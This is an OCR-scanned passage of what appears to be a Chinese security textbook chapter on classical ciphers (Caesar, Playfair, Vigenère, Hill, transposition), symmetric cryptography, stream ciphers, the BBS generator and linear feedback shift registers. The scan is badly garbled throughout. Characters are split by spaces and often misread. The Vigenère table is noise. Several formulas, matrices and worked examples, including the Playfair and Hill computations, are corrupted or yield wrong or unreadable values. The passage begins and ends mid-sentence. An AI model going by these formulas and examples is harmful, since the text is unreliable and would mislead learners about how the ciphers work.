验 ; 有 助 于 推广 使 用 。 当 前 网 络 应 用 十 分 普及 ,密码 算法 的 应 用 不 再 局 限于 传统 的 军事 领 
域 ,只 有 公开 使 用 ,密码 算法 才 可 能 被 大 多 数 人 接受 并 使 用 。 同 时 ,对 用 户 而 言 , 只 需 掌握 密 
钥 就 可 以 使 用 了 ,非常 方便 。 


3.3 古 血 密码 体制 


古典 密码 时 期 一 般 认为 是 从 古代 到 19 世纪 末 , 这 个 时 期 生产 力 水 平 低 , 加 密 、 解 密 方法 
主要 以 纸 、 笔 或 者 简单 的 器 械 来 实现 ,在 这 个 时 期 提出 和 使 用 的 密码 称 为 古典 密码 。 古 典 密 
码 是 密码 学 发 展 的 初级 阶段 。 尽 管 古典 密码 大 都 较 简 单 ,但 由 于 其 安全 性 差 , 目 前 应 用 很 
少 。 研 究 古 典 密码 的 原理 ,有 助 于 理解 .构造 和 分 析 近 代 密 码 。 替 代 (Substitution) 和 置换 
(Permutation) 是 古典 密码 中 用 到 的 两 种 基本 处 理 技巧 ,它们 在 现代 密码 学 中 也 得 到 了 广泛 
使 用 。 


3.3.1 替代 密码 


替代 密码 CSubstitution Cipher) 是 明文 中 的 每 一 个 字符 被 蔡 换 成 密 文 中 的 另 一 个 字符 。 
接收 者 对 密 文 做 反 向 替换 就 可 以 恢复 出 明文 。 古 典 密码 学 中 采用 蔡 代 运算 的 典型 密码 算法 
有 单 表 密码 .多 表 密 码 等 。 

1. 单 表 密 码 

单 表 密码 全 称 单 表 替代 密码 。 单 表 替 代 密 码 是 对 明文 中 的 所 有 字母 都 使 用 同一 个 映 
射 , 即 

VpEP,， 有 Exk:P>C, Exr(p)=¢ 

为 了 保证 加 密 的 可 逆 性 ,一 般 要 求 映射 巨 是 一 一 映射 。 单 表 替 代 密 码 最 典型 的 例子 就 
是 著名 的 凯撒 密码 ,一 般 意 义 上 的 单 表 替代 密码 也 称 为 移 位 密码 .乘法 密码 , 仿 射 密码 、 使 用 
密 钥 词 ( 组 ) 的 单 表 替 代 密 码 和 随机 替代 密码 等 。 下 面 通过 凯撒 密码 和 使 用 密 钥 词 ( 组 ) 的 单 
表 替 代 密 码 为 例 进行 介绍 。 

D 凯撒 密码 

凯撒 密码 是 把 字母 表 中 的 每 个 字母 用 该 字母 后 面 第 3 个 字母 进行 替代 ,如 表 3-2 所 示 。 
为 便于 区 分 ,下 面 用 小 写字 母 表示 明文 ,大 写字 母 表 示 密 文 。 

表 3-2 凯撒 密码 


明文 a b c de f g hij k iilmnopqrstuvwxyz 


@xXDEFGHIJKLUMNOPQRSTUVWXYZABC 


[B] 3-1] 明文 : this is a book, 
密 文 : WKLV LV D ERRN。 
明文 和 密 文 空 间 是 26 个 字母 的 循环 ,所 以 z 后 面 的 字母 是 a。 如 果 为 每 个 字母 分 配 一 
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个 数值 (a 二 0,b 二 1,…,z 二 25), 则 该 算法 能 够 表示 如 下 : 
C = Ex(p) = (p+3)(mod 26) 

其 中 ,C 代表 密 文 ,p 代表 明文 。 

2) 使 用 密 钥 词 ( 组 ) 的 单 表 替代 密码 

这 种 密码 选用 一 个 英文 短语 或 单词 串 作为 密 钥 ,去 掉 其 中 重复 的 字母 得 到 一 个 无 重复 
字母 的 字母 串 ,然后 再 将 字母 表 中 的 其 他 字母 依次 写 于 此 字母 串 之 后 ,就 可 构造 出 一 个 字母 
替代 表 。 这 种 单 表 蔡 代 密 码 泄露 给 破译 者 的 信息 更 少 ,而 且 密 钥 可 以 随时 更 改 , 增 加 了 灵 

【 例 3-2〗 设 密 钥 为 time, 密 码 表 如 表 3-3 所 示 。 

表 3-3 BAA time 的 密码 表 


Bee bec def gh i 7 & ina opare tf ww we y z 


EXT IMEABCDFGHIKLULNOPQRSUVWXYZ 


因此 ,如 果 明 文 为 *code”, 则 对 应 的 密 文 为 “MNEA”。 
【 例 3-3) 设 密 钥 为 timeiup, 密 码 表 如 表 3-4 所 示 。 


R3-4 BBA timeisup 密码 表 


Bea be de f ghi jk itIlmnopgqarstuvyvwnx yz 


@xTIMEISUPABCDFGHYIJIAKLNOQVWX YZ 


因此 ,如 果 明 文 为 *code”, 则 对 应 的 密 文 为 “MHEI”。 

单 表 蔡 代 密 码 的 密 钥 量 很 小 ,不 能 抵抗 穷尽 搜索 攻击 。 并 且 很 容易 受到 统计 分 析 的 攻 
击 。 因 为 如 果 密 码 分 析 者 知道 明文 的 某 些 性 质 ( 如 非 压 缩 的 英文 ) , 则 分 析 者 就 能 够 利用 该 
语言 的 规律 性 进行 分 析 , 从 这 一 点 意义 上 讲 , 汉 语 在 加 密 方 面 的 特性 要 优 于 英语 ,因为 汉语 
常用 字 有 3 000 多 个 ,而 英语 只 有 26 个 字母 。 

2. 多 表 密 码 

单 表 蔡 代 密 码 的 明文 中 单字 母 出 现 频率 分 布 与 密 文 中 的 相同 ,为 了 克服 这 个 缺点 ,多 表 
替代 密码 使 用 从 明文 字母 到 密 文字 母 的 多 个 映射 来 隐藏 单字 母 出 现 的 频率 分 布 ,其 中 每 个 
映射 是 简单 替代 密码 中 的 一 对 一 映射 ( 即 处 理 明文 消息 时 使 用 不 同 的 单字 母 替 代 )。 多 表 替 
代 密 码 将 明文 字符 划分 为 长 度 相 同 的 消息 单元 , 称 为 明文 组 ,对 不 同 明文 组 进行 不 同 的 替 
代 , 即 使 用 了 多 张 单字 母 蔡 代 表 , 从 而 使 同一 个 字符 对 应 不 同 的 密 文 , 改 变 了 单 表 代替 中 密 
文 与 明文 字母 的 唯一 对 应 性 ,使 密码 分 析 更 加 困难 。 多 字母 代替 的 优点 是 很 容易 将 字母 的 
自然 频 度 隐蔽 或 均匀 化 ,从 而 可 以 抗击 统计 概率 分 析 。Playfair 密码 Vigenere # #4, Hill 
密码 都 是 这 一 类 型 的 密码 。 

1) Playfair 密码 

Playfair 密码 出 现 于 1854 年 , 它 将 明文 中 的 双 字 母 组 合作 为 一 个 单元 对 待 , 并 将 这 些 
单元 转换 为 密 文 双 字 母 组 合 。Playfair 密码 基于 一 个 5X5 字母 矩阵 ,该 矩阵 使 用 一 个 关键 
词 ( 密 钥 ) 来 构造 ,其 构造 方法 是 : 从 左 至 右 、 从 上 至 下 依次 填 入 关键 词 的 字母 (去 除 重复 的 
字母 ) ,然后 再 以 字母 表 顺 序 依次 填 人 其 他 字母 。 字 母 I 和 丁 被 算 为 一 个 字母 ( 即 丁 被 当做 
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处 理 ) 。 

对 每 一 对 明文 字母 pipe 的 加 密 方 法 如 下 。 

A) 车 pipe 在 同一 行 时 , 则 对 应 的 密 文 C, 和 C 分 别 是 紧 靠 pi pe 右 端的 字母 。 其 
中 第 一 列 被 看 做 最 后 一 列 的 右 方 (解密 时 反 向 ) 。 

(2) pipe 在 同一 列 时 , 则 对 应 的 密 文 C, 和 C 分 别 是 紧 靠 pip 下 方 的 字母 。 其 
中 第 一 行 被 看 做 最 后 一 行 的 下 方 (解密 时 反 向 )。 

(3) E pi、p: 不 在 同一 行 ,也 不 在 同一 列 时 , 则 C, 和 C; 是 由 p 和 pe 确定 的 矩形 的 其 
他 两 角 的 字母 ,并 且 Cy 和 pi, Co 和 ps 同行 (解密 时 处 理 方法 相同 )。 

(4) 若 pi 二 pa， 则 插入 一 个 字母 (如 Q, 需 要 事先 约定 ) 于 重复 字母 之 间 , 并 用 前 述 方法 
处 理 。 

(5) 若 明文 字母 数 为 奇数 , 则 在 明文 的 末端 添加 某 个 事先 约定 的 字母 作为 填充 。 

【 例 3-4】 密 钥 是 monarchy。 

解 : 构造 的 字母 矩阵 如 表 3-5 所 示 。 


表 3-5 字母 矩阵 表 
M 0 N A R 
C H Y B D 
E F G J K 
L P Q S T 
U V w * Z 


如 果 明 文 是 : P= armuhsea 

先 将 明文 分 成 两 个 一 组 : ar mu hs ea 

根据 表 3-5 的 对 应 密 文 为 : RM CM BP IMOM) 

Playfair 密码 与 简单 的 单 表 替 代 密 码 相 比 有 了 很 大 的 进步 。 首 先 ,虽然 仅 有 26 个 字 
母 ,但 有 676(26X26) 种 双 字 母 组 合 , 因 此 识别 各 种 双 字母 组 合 要 比 简单 的 单一 字母 替代 法 
密码 困难 得 多 ; 其 次 ,各 个 字母 组 的 频率 要 比 单字 母 范 围 大 ,这 使 得 频率 分 析 更 加 困难 。 尽 
管 如 此 ,Playfair 密码 还 是 相对 容易 攻破 的 ,因为 它 仍然 使 许多 明文 语言 的 结构 保存 完好 。 
几 百 字 的 密 文通 常 就 足以 用 统计 分 析 破 译 了 。 

区 别 Playfair 密码 和 单 表 密码 的 有 效 方法 是 : 计算 在 文本 中 每 个 字母 出 现 的 数量 ,并 
与 字母 e( 最 为 常用 的 字母 ) 出 现 的 数量 相 除 , 设 e 的 相对 频率 为 1, 则 其 他 字母 的 相对 频率 
可 以 得 出 ,如 t 的 相对 频率 为 0. 67, 然 后 画 一 个 图 线 ,水平 轴 上 的 点 对 应 于 以 递减 频率 顺序 
排列 的 字母 。 为 了 归 一 化 该 图 线 , 在 密 文 中 出 现 的 每 个 字母 的 数量 再 次 被 e 在 明文 中 出 现 
的 次 数 相 除 。 因 此 结果 图 线 显示 了 由 加 密 屏蔽 的 字母 的 频率 分 布 的 程度 ,这 使 得 分 解 替 代 
密码 十 分 容易 。 如 果 该 频率 分 布 信息 全 部 隐藏 在 该 加 密 过 程 中 ,频率 的 明文 图 线 将 是 平坦 
的 ,使 用 单字 母 统计 分 析 方 法 将 很 难 破译 该 密码 。 

2) Vigenére 密码 

Vigenère 密码 是 16 世纪 法 国 著名 密码 学 家 Blaise de Vigenère 于 1568 年 发 明 的 , 它 是 
最 著名 的 多 表 替 代 密 码 的 例子 。Vigeneare 密码 使 用 一 个 词组 作为 密 钥 , 密 钥 中 每 一 个 字母 
用 来 确定 一 个 替代 表 , 每 一 个 密 钥 字母 被 用 来 加 密 一 个 明文 字母 ,第 一 个 密 钥 字 母 加 密 明 文 
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个 密 钥 字 母 加 密 明文 的 第 二 个 字母 ,等 所 有 密 钥 字 母 使 用 完 后 , 密 钥 又 


的 第 一 个 字母 ,第 
再 循环 使 用 。 


为 了 帮助 理解 该 算法 ,需要 构造 一 个 表 ( 图 3-3) ,26 个 密 文 都 是 水 平 排列 的 ,最 左边 一 


列 为 密 钥 字母 ,最 上 面 一 行为 明文 字母 。 其 加 解密 过 程 如 下 。 


给 定 一 个 密 钥 字 母 x* 和 一 个 明文 字母 p , 密 文字 母 就 是 位 于 所 在 的 行 


(1) 加 密 过 程 : 
与 p 所 在 的 列 的 交叉 点 上 的 那个 字母 。 


(2) 解密 过 程 : 由 密 钥 字母 决定 行 , 在 该 行 中 找到 密 文字 母 , 密 文字 母 所 在 列 的 列 首 对 


应 的 明文 字母 就 是 相应 的 明文 。 


slINlI<lmlolalmlclolrili-i-lx|i2|23|lzliolnmnlolgmlnlclDl>|E|lx|> 
alm IN|</mlOolAlmlalOltl—|o]MialSs/zjOolajalm|nlelD|>|B)< 
BLK IN| </m/OlAlmlm lO] Zle|oiM/ als] ZlOl;a|olm|nle Dl > |B 
BIBS H IN| <<] m/OlAlalm/OlTlRlo[M/A/S/Z/O;ml/olm|njejole> 
al>|Bl<|m[N[</ml/ofalmjajolml[-|i/M/Als|zlolajolm|nlejo 
B/D >| BSH |N[<][majolalmlmajolt]e|o|M]Als]/zZlojalolmale 
S[EIDISLB [HIN | <[mlOlalml[es/olml-|olM/AlS/zlolalolala 
e|NIEIDIS|BlKIHIN[<][alOlAlmi[alO/Zl[RlAlMlalS|zlolalaolm 
| 名 | 四 | D> |Bl XH [N[<][malolalmlajo]m]-|ajMsals/zjojalo 
oO M/H/R|D/ > |B] xj> IN| <[mjolalmimajolytyRK|o[Mjals|zjola 
Be AA 
S[Ola| Ale NIE|DI>|B lx >IN| </malolalmlalolmRlalM/alsiz 
R/Z/O|UIOl MAMIE |DI> IB |>I NI <|mlolalml(mlolm]R|ol[M/a/s 
RLSIZlOlAIO/MIMN/ R/O [>| Bl x] HIN] <|malojalmialol/tielolmja 
~[AlLS/ZIOlMIG/ MI NIE [DIS |B KH IN <<} mlOlAlMle/OlZlR|olsM 
a[MlALS/Z/OlRIO| MIME [DIS jk x> IN| </a/O/O/m/m lO] melo 
slolM/AlS/ZlOlmM/ gjaja Dj SIBI KH IN| <]m/Ol/Al/m/a/oOl rl 
w[RlelM|A]S/Z/O;a|Olm [nie lol >|Blx/H IN| </alolalmlelolr 
s([ZlH|o[Mlals|zlolalolmlalelal>|B/</>[n/<|mlolalm/aljo 
wlOl leat /AlS|Z(O;a|Gl/m|nle[D/>|Bl<|m IN| <|mlolalml/a 
S/mlolmlel|alM/als|zlolajolm|ale/a/>/B/~|>IN[</alolala 
slimlelolrl-i-lx|l2|l2|lzlolalolglnlcl2l>lgElx|l~INI<Iamlola 
sialnmleclolrii-iolx|i2|2|lzlolmlolglnlctlI2Dl>|Elx|I>~INI<Imlo 
slolalmlclolrTli-|i-lx|2|23|lzlolnlolxlnlcl2l>lElxI~INI<Ia 
imlololnleglolrili-ciolx|i2|2|lziolmlolglnlclol>|lElx|I>IN|I< 
臣 | 蕊 | 中 | 口 | 口 | 四 | 所 | 牟 | 严 | 一 | 一 | 癌 | 一 | 过 alGclolcDI>| 人 EN 
Slo] of} els] sla] [fe l~] S&S] e] of alo] eR] oe] a] es] em] BL RR] Ale 


图 3-3 Vigenére # 
假设 数字 0 一 25 分 别 表 示 26 个 英文 字母 a 一 z, 则 Vigenère 密码 也 可 用 下 列 公 式 表 


加 密 算法 : 


不 。 


pi +k; (mod 26) 


Ci 


解密 算法 : 


bi = ci— ki(mod 26) 


第 i 个 明文 、 密 文 和 密 钥 字母 编码 , 密 钥 字 母 编 码 有 工 个 。 


[Gl 3-5] 假设 英文 字母 表 (n 二 26), 密 钥 上 二 college, 当 明文 m=a man liberal in his 


不 


FU. pb: sc: vk: 分 别 表 
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views 时 ,使 用 Vigenére 密码 技术 后 得 到 的 密 文 是 什么 ? 
解 : (1) pi 二 a>0,ki 二 c>2 
cl 一 0 十 2(mod 26) 一 2 一 c 
(2) ps=m—>12,k,=o>14 
cz 一 12 十 14(mod 26) =0—>a 
(21) pa =s>18,kzn =e>4 
cn =18+4(mod 26) =22>w 
即 密 文 为 c=cics***cn =C ALZ POFGFLW MT LKG GTICW. 
3) Hill 密码 
Hill 密码 是 由 数学 家 Lester Hill 于 1929 年 研制 的 。 它 也 是 一 种 多 表 密 码 ,实际 上 它 
是 仿 射 密码 技术 的 特例 。 其 基本 加 密 思想 将 n 个 明文 字母 通过 线性 变换 ,将 它们 转换 为 n 
个 密 文 字母 。 解 密 只 需 做 一 次 逆 变 换 即 可 。 
算法 的 密 钥 K= (Zo, LAY nXn TAERE), AX M 与 密 文 C 均 为 n 维 向 量 , 记 为 : 
7721 C1 
ku kz … An 
mz C2 5 è . . 


ka ks ™ ka 
My, cs 
其 中 ， 
cl = kum, 十 Riz7722 十 … + hiym, (mod 26) 
cz = kam, + kam: 十 … + kanm, (mod 26) 


cn = Rams + Regime 十 … + Rm mod 26) 
或 写成 C=K * M(mod 26) 
解密 变换 则 为 : M=K~! + C(mod 26) 
Hep, K H KER 26 上 的 道 和 矩阵 ,满足 : KK- 一 KK 一 (mod 26), 这 里 工 为 单位 矩阵 。 


11 8 
【 例 3-6】 设 明文 消息 为 good, 试 用 ”一 2, 密 钥 K= | 3 "| 的 Hill 密码 对 其 进行 加 


密 , 然 后 再 进行 解密 。 
解 : 将 明文 划分 为 两 组 : (g,o ) 和 (o,d ), 即 (6,14) 和 (14,3)。 加 密 过 程 如 下 : 


TLS allel [ie Lie] = 2>=(2) 

=K = = (mod 26)=> 

C2 ms 3 7JL 116 12 m 
Ca ms 11 8][14 178 22 w 
Me FE ee nd 
c4 ma 3 TIL? 63 11 1 

因此 ,good 的 加 密 结果 是 WMWL。 显 然 , 明 文 不 同位 置 的 字母 “o” 加 密 成 的 密 文 字母 


不 同 。 为 了 解密 ,由 前 面 计算 有 天- -| > 11 | Prieta 


[mE Les maloe Lesa Lee] ome 2>=[ 2) 
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ms Cs 7 181[22 352 14 o 
REE e a e e e 
m, Ca 23 11JLI 627 $ d 
因此 ,解密 得 到 正确 的 明文 “good”。 
Hill 密码 特点 如 下 。 
(1) 可 以 较 好 地 抑制 自然 语言 的 统计 特性 ,不 再 有 单字 母 蔡 换 的 一 一 对 应 关系 ,对 抗 
“ 唯 密 文 攻击 ”有 较 高 安全 强度 。 
(2) 密 钥 空间 较 大 ,在 忽略 密 钥 矩阵 K ARRET |K | = 206""" 
(3) 易 受 已 知 明文 攻击 及 选择 明文 攻击 。 


3.3.2 置换 密码 


置换 密码 (Permutation Cipher) 加 密 过 程 中 明文 的 字母 保持 相同 ,但 顺序 被 打 乱 了 ,又 
被 称 为 换 位 密码 。 在 这 里 介绍 一 种 较 常 见 的 置换 处 理 方法 是 : 将 明文 按 行 写 在 一 张 格 纸 
上 ,然后 再 按 列 的 方式 读 出 结果 , 即 为 密 文 ; 为 了 增加 变换 的 复杂 性 ,可 以 设 定 读 出 列 的 不 
同 次 序 ( 该 次 序 即 为 算法 的 密 钥 ) 。 

[BI 3-7] 明文 为 cryptography is an applied science, {Ri HAZE creny, 用 换 位 加 密 方 
法 确定 其 密 文 。 

解 : 根据 密 钥 creny 中 各 个 字母 在 英文 字母 表 中 的 出 现 次 序 可 确定 其 排序 为 14235( 即 
c 第 1 个 出 现 ,r 第 4 个 出 现 ,…,y 第 5 个 出 现 )。 将 明文 按照 密 钥 的 长 度 (5 个 字符 ) 逐 行列 
出 ,如 表 3-6 所 示 。 


表 3-6 置换 表 
1 4 2 3 5 
è t y p t 
o g f a p 
h y i s a 
n a P P 1 
i e d S c 
1 e n c e 


然后 依照 密 钥 决定 的 次 序 按 列 依次 读 出 ,因此 密 文 为 COHNII YRIPDN PASPSC 
RGYAEE TPALCE。 

在 置换 密码 中 ,明文 的 字母 相同 ,但 出 现 的 顺序 被 打 乱 了 ,经 过 多 步 置换 会 进一步 打 乱 
字母 顺序 。 但 由 于 密 文 字符 与 明文 字符 相同 , 密 文中 字母 的 出 现 频率 与 明文 中 字母 的 出 现 
频率 相同 ,密码 分 析 者 可 以 很 容易 地 辨别 。 如 果 将 置换 密码 与 其 他 密码 技术 结合 , 则 可 以 得 
出 十 分 有 效 的 密码 编码 方案 。 


3.4 对 称 密码 体制 


对 称 密码 体制 (Symmetric Encryption) 也 称 为 秘密 密 钥 密码 体制 . 单 密 钥 密码 体制 或 
常规 密码 体制 ,其 模型 如 图 3-4 所 示 。 如 果 一 个 密码 算法 的 加 密 密 钥 和 解密 密 钥 相 同 , 或 由 
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其 中 一 个 很 容易 推导 出 另 一 个 ,该 算法 就 是 对 称 密码 算法 ,满足 关系 : M=Dg (C) = Dx (Ex (MD). 


asdnfal 


8 sdjflasd 
jflaks 
Alice Bob 


图 3-4 对称 密码 模型 


一 个 攻击 者 (密码 分 析 者 ) 能 基于 不 安全 的 公开 信道 观察 密 文 C, 但 不 能 接触 到 明文 M 
或 密 钥 K ,他 可 以 试图 恢复 明文 M 或 密 钥 K 。 假 定 他 知道 加 密 算 法 E 和 解密 算法 DD, 只 对 
当前 这 个 特定 的 消息 感 兴趣 , 则 努力 的 焦点 是 通过 产生 一 个 明文 的 估计 值 M' 来 恢复 明文 
M。 如 果 他 也 对 读 取 未 来 的 消息 感 兴趣 ,他 就 需要 试图 通过 产生 一 个 密 钥 的 估计 值 K' 来 恢 
复 密 钥 K ,这 是 一 个 密码 分 析 的 过 程 。 

对 称 密码 体制 的 安全 性 主要 取决 于 两 个 因素 : 第 一 ,加 密 算法 必须 足够 安全 ,使 得 不 必 
为 算法 保密 , 仅 根据 密 文 就 能 破译 出 消息 是 计算 上 不 可 行 的 ; 第 二 , 密 钥 的 安全 性 , 即 密 钥 
必须 保密 并 保证 有 足够 大 的 密 钥 空间 。 对 称 密码 体制 要 求 基 于 密 文 和 加 密 / 解 密 算 法 的 知 
识 能 破译 出 消息 的 做 法 是 计算 上 不 可 行 的 。 

对 称 密码 算法 的 优 、 缺 点 如 下 。 

(1) 优点 : 加 密 、 解 密 处 理 速 度 快 ,保密 度 高 等 。 

(2) 缺点 如 下 。 

O 密 钥 是 保密 通信 安全 的 关键 ,发 信 方 必须 安全 妥善 地 把 密 钥 护送 到 收 信 方 ,不 能 泄 
露 其 内 容 。 如 何 才能 把 密 钥 安全 地 送 到 收 信 方 ,是 对 称 密码 算法 的 突出 问题 。 对 称 密码 算 
法 的 密 钥 分 发 过 程 复杂 ,所 花 代价 高 。 

© 多 人 通信 时 密 钥 组 合 的 数量 会 出 现 爆炸 性 膨胀 ,使 密 钥 分 发 更 加 复杂 化 ,车 用 个 
用 户 进行 两 两 通信 ,总 共 需 要 的 密 钥 数 为 NCN 一 1)/2 个 。 

© 通信 双方 必须 统一 密 钥 ,才能 发 送 保密 的 信息 。 如 果 发 信者 与 收 信者 素 不 相识 ,这 
就 无 法 向 对 方 发 送 秘密 信息 了 。 

@ 除了 密 钥 管理 与 分 发 问题 ,对 称 密码 算法 还 存在 数字 签名 困难 问题 (通信 双方 拥有 
同样 的 消息 ,接收 方 可 以 伪造 签名 ,发 送 方 也 可 以 否认 发 送 过 某 消 息 ) 。 

对 称 密码 体制 分 为 两 类 : 一 类 是 对 明文 的 单个 位 (或 字 节 ) 进 行 运算 的 算法 , 称 为 序列 
密码 算法 ,也 称 为 流 密码 算法 (Stream Cipher); 另 一 类 算法 是 把 明文 信息 划分 成 不 同 的 块 
(或 小 组 ) 结 构 , 分 别 对 每 个 块 (或 小 组 ) 进 行 加 密 和 解密 , 称 为 分 组 密码 算法 (Block Cipher) 。 


3.4.1 序列 密码 


序列 密码 是 将 明文 划分 成 单个 位 (如 数字 0 或 1) 作 为 加 密 单 位 产生 明文 序列 ,然后 将 
其 与 密 钥 流 序列 逐 位 进行 模 2 加 运算 ,用 符号 表示 为 由 ,其 结果 作为 密 文 的 方法 。 加 密 过 
程 如 图 3-5 所 示 。 

加 密 算 法 是 : =m +k; (mod 2) 

解密 算法 是 : m; 二 ci 十 ki(mod 2) 
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图 3-5 序列 密码 加 密 过 程 


【 例 3-8] 设 明文 序列 M 是 一 串 二 进 制 数据 M = (101011001111000011111111). . 4A 
K=(111100001111000011110000);, 则 

jn Sit FE. C=M-+ K (mod 2) 王 (010111000000000000001111)。 

解密 过 程 : M=C 十 K(mod 2)=(101011001111000011111111)2 

序列 密码 分 为 同步 序列 密码 和 自 同步 序列 密码 两 种 。 同 步 序列 密码 要 求 发 送 方 和 接收 
方 必须 是 同步 的 ,在 同样 的 位 置 用 同样 的 密 钥 才能 保证 正确 地 解密 。 如 果 在 传输 过 程 中 密 
文 序列 有 被 筑 改 删除 .插入 等 错误 导致 同步 失效 , 则 不 可 能 成 功 解密 ,只 能 通过 重新 同步 来 
实现 解密 ,恢复 密 文 。 在 传输 期 间 ,一 个 密 文 位 的 改变 只 影响 该 位 的 恢复 ,不 会 对 后 继 位 产 
生 影响 。 自 同步 序列 密码 的 密 钥 的 产生 与 密 钥 和 已 产生 的 固定 数量 的 密 文 位 有 关 , 因 此 密 
文中 产生 的 一 个 错误 会 影响 到 后 面 有 限 位 的 正确 解密 。 所 以 , 自 同步 密码 的 密码 分 析 比 同 
步 密 码 的 密码 分 析 更 加 困难 。 

序列 密码 具有 实现 简单 .便于 硬件 计算 、 加 密 与 解密 处 理 速 度 快 、 低 错误 (没有 或 只 有 有 
限 位 的 错误 ) 传 播 等 优点 ,但 同时 也 暴露 出 对 错误 的 产生 不 敏感 的 缺点 。 序 列 密码 涉及 大 量 
的 理论 知识 ,许多 研究 成 果 并 没有 完全 公开 ,这 也 许 是 因为 序列 密码 目前 主要 用 于 军事 和 外 
交 等 机 要 部 门 的 缘故 。 目 前 ,公开 的 序列 密码 主要 有 RC4、SEAL 等 。 

序列 密码 的 安全 强度 依赖 于 密 钥 流产 生 器 所 产生 的 密 钥 流 序列 的 特性 ,关键 是 密 钥 生 
成 器 的 设计 及 收发 两 端 密 钥 流 产生 的 同步 技术 。 

1. 伪 随 机 序列 


在 序列 密码 中 ,一 个 好 的 密 钥 流 序列 应 该 满足 : 具有 良好 的 伪 随 机 性 ,如 极 大 的 周期 、 
极 大 的 线性 复杂 度 .序列 中 0 和 1 的 分 布 均匀 ; 产生 的 算法 简单 ; 硬件 实现 方便 。 

产生 密 钥 流 序列 的 一 种 简单 方法 是 使 用 自然 现象 随机 生成 ,如 半导体 电阻 器 的 热 噪声 、 
公共 场所 的 噪声 源 等 。 还 有 一 种 方法 是 使 用 软件 以 简单 的 数学 函数 来 实现 ,如 标准 C 语言 
库 函 数 中 的 rand() 函 数 , 它 可 以 产生 介 于 0 一 65 535 的 任何 一 个 整数 ,以 此 作为 种子” 输 
入 ,随后 再 产生 比特 流 。rand() 建 立 在 一 个 线性 同 余生 成 器 的 基础 上 ,如 ,二 ak,-i 十 
b(mod m) ,ko 作为 初始 值 ,a、b Film 都 是 整数 。 但 这 只 能 作为 以 实验 为 目的 的 例子 ,不 能 满 
足 密 码 学 意义 上 的 要 求 。 

产生 伪 随 机 数 的 一 个 不 错 的 选择 是 使 用 数论 中 的 难题 。 最 常用 的 是 BBS 伪 随 机 序列 
生成 器 ,也 就 是 二 次 方程 式 残 数 生 成 器 。 首 先 产生 两 个 大 素数 请 和 qd, 且 p=q=3(mod 4), 
设 n= pq, 并 选择 一 个 随机 整数 x,z Hn 是 互 素 的 , 且 设 初始 输入 x =x (mod z) ,BBS i 
过 如 下 过 程 产生 一 个 随机 序列 bi ,5 ooo: 

(1) z;=zx;j-ı (mod n); 


(2) b; Æx; 的 最 低 有 效 比特 。 
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例如 , 设 p=24672462467892469787 和 g=396736894567834589803. , I] : 
n = 9788476140853110794168855217413715781961 
令 z 一 873245647888478349013, 则 初始 输入 : 
ay = x’mod n = 8845298710478780097089917746010122863172 
Liszt ,8 的 值 分 别 如 下 : 
xı = 7118894281131329522745962455498123822408 
zxz = 3145174608888893164151380152060704518227 
x3 = 4898007782307156233272233185574899430355 
zı = 3935457818935112922347093546 189672310389 
xs = 675099511510097048901761303198740246040 
xs = 4289914828771740133546190658266515171326 
a1 = 4431066711454378260890386385593817521668 
as = 7336876124195046397414235333675005372436 
取 上 述 任意 一 个 比特 串 , 当 z 的 值 为 奇数 时 ,2 的 值 取 1; 当 z 的 值 为 偶数 时 ,2 的 值 取 
0, 故 产生 的 随机 序列 5,5,,… ,bs 二 0,1,1,1,0,0,0,0。 可 见 , 产 生 密 钥 流 序列 的 方法 很 多 ， 
常见 的 方法 有 线性 同 余 法 ` 线 性 反馈 移 位 寄存 器 、 非 线性 反馈 移 位 寄存 器 ,有 限 自 动机 和 混 
沌 密码 等 。 
2. 线性 反馈 移 位 宥 存 器 
通常 ,产生 密 钥 流 序列 的 硬件 是 反馈 移 位 寄存 器 。 一 个 反馈 移 位 寄存 器 由 两 部 分 组 成 : 
移 位 寄存 器 和 反馈 函数 ,如 图 3-6 所 示 。 
移 位 寄存 器 


| 反馈 函数 


图 3-6 反馈 移 位 寄存 器 


移 位 寄存 器 由 个 寄存 器 组 成 ,每 个 寄存 器 只 能 存储 一 个 位 ,在 一 个 控制 时 钟 周 期 内 ， 
根据 寄存 器 当前 的 状态 计算 反馈 函数 f(a ,as，…,a,) 作为 下 一 时 钟 周 期 的 内 容 , 每 次 输出 
最 右 端 一 位 cy ,同时 ,寄存 器 中 所 有 位 都 右 移 一 位 ,最 左 端的 位 由 反馈 函数 计算 得 到 。a;(7) 
表示 t 时 刻 第 i 个 寄存 器 的 内 容 , 用 ui(t 十 1) 表 示 a;(1) 下 一 时 刻 的 内 容 , 则 有 

移 位 : aH) San (t) ,其 中 i=1,2,…,n 一 1 

反馈 : av(t 十 1) 王 Fai(t) az(t) as(Ct)) 

如 果 反 馈 函 数 f Car ,az tt an) = kia, Dkzan: Oe Okai :其 中 &E{10,1), 则 该 反馈 函 
数 是 ay ,as，,…,a, 的 线性 函数 ,对 应 的 反馈 移 位 寄存 器 称 为 线性 反馈 移 位 寄存 器 (Linear 
Feedback Shift Register,LFSR) 。 

【 例 3-9] 设 线性 反馈 移 位 寄存 器 为 it 二 1) San 0) ,其 中 i 二 1,2,3,4, 则 有 : 

alt+1)=a(t) O a(t) 
XTE Cki ,ks ,ss) 一 (0,1,0,1), 设 初始 状态 为 (al,az as, as) 一 (0,1,1,1), 各 个 时 刻 


a 


输出 位 
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的 状态 如 表 3-7 所 示 。 
表 3-7 LFSR 在 不 同时 刻 的 状态 


as as a, a 


one wne ojs 
=w adoma 
Wm 
Ho O m ol 
O O m m et mS 


由 表 3-7 可 知 ,t=6 时 的 状态 恢复 到 :一 0 时 的 状态 , 且 往 后 循环 。 因 此 ,该 反馈 移 位 寄 
存 器 的 周期 是 6, 输 出 序列 为 0111100…, 表 中 对 应 a, 的 状态 。 本 例 中 , 若 反馈 函数 为 
a+) Sa (Day (72), 则 周期 达到 15, 输 出 序列 为 0110010001111010…。 对 于 4 级 线性 
反馈 移 位 寄存 器 而 言 , 所 有 可 能 状态 为 2 一 16 种 ,除去 全 0 状态 ,最 大 可 能 周期 为 15。 对 于 
级 线性 反馈 移 位 寄存 器 ,不 可 能 产生 全 0 状态 ,因此 最 大 可 能 周期 为 2 一 1, 而 能 够 产生 最 
大 周期 的 LFSR 是 我 们 所 需要 的 ,这 就 要 求 线性 反馈 函数 符合 一 定 的 条 件 。 关 于 随机 序列 
的 周期 及 线性 复杂 度 的 有 关 知 识 , 需 要 读者 具备 一 定 的 数学 基础 ,本 书 不 再 展开 讨论 。 

选择 线性 反馈 移 位 寄存 器 作为 密 钥 流 生成 器 的 主要 原因 有 : 适合 硬件 实现 ; 能 产生 大 
